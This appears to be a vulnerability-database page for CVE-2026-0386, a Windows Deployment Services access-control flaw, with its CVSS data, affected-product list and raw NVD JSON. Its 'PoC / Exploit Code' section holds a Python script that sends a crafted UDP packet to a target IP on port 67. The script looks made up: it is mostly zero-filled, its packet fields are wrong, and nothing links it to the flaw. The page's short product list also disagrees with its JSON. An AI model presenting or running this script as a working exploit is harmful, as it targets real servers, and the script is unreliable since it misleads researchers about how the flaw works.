Security Vulnerability Report
中文
CVE-2026-0386 CVSS 7.5 HIGH

CVE-2026-0386

Published: 2026-01-13 18:16:06
Last Modified: 2026-01-14 20:01:54

Description

Improper access control in Windows Deployment Services allows an unauthorized attacker to execute code over an adjacent network.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:* - VULNERABLE
Windows Server 2019
Windows Server 2016
Windows Server 2012 R2
Windows Server 2012
Windows Server 2008 R2 SP1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-0386 PoC - Windows Deployment Services Access Control Bypass # Note: This is a conceptual proof-of-concept for educational purposes only # Do not use without proper authorization import socket import struct import sys def create_wds_request(): """Create a malformed WDS request packet""" # DHCP/WDS packet structure packet = b'\x01' # Message type packet += b'\x02' # Operation packet += b'\x00' * 4 # Hops packet += b'\x00' * 4 # Transaction ID packet += b'\x00' * 2 # Seconds elapsed packet += b'\x00' * 2 # Flags packet += b'\x00' * 4 # Client IP packet += b'\x00' * 4 # Your IP packet += b'\x00' * 4 # Server IP packet += b'\x00' * 4 # Relay IP # Add vendor-specific options option_43 = b'\x00' * 100 # Malformed vendor class packet += option_43 return packet def send_exploit(target_ip, port=67): """Send exploit packet to target WDS server""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) payload = create_wds_request() sock.sendto(payload, (target_ip, port)) print(f"[*] Exploit packet sent to {target_ip}:{port}") print(f"[*] Packet size: {len(payload)} bytes") sock.close() except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-0386.py <target_ip>") sys.exit(1) target = sys.argv[1] send_exploit(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0386", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:06.440", "lastModified": "2026-01-14T20:01:53.500", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper access control in Windows Deployment Services allows an unauthorized attacker to execute code over an adjacent network."}, {"lang": "es", "value": "Control de acceso inadecuado en los Servicios de implementación de Windows permite a un atacante no autorizado ejecutar código sobre una red adyacente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x64:*", "matchCriteriaId": "2127D10C-B6F3-4C1D-B9AA-5D78513CC996"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x86:*", "matchCriteriaId": "AB425562-C0A0-452E-AABE-F70522F15E1A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "matchCriteriaId": "AF07A81D-12E5-4B1D-BFF9-C8D08C32FF4F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "matchCriteriaId": "A7DF96F8-BA6A-4780-9CA3-F719B3F81074"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "A059E609-F8D4-4246-BDAE-0AEDED1744D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A74970A1-CC81-4482-B465-8382B1544EF3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4648", "matchCriteriaId": "C4AA6991-DE34-48F6-AFD3-77CEE7FBB692"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2092", "matchCriteriaId": "BA5947E0-C44C-4517-A307-DA79752F30A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32230", "matchCriteriaId": "D44880ED-E8E9-49A8-BD56-503C63D40000"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-0386", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}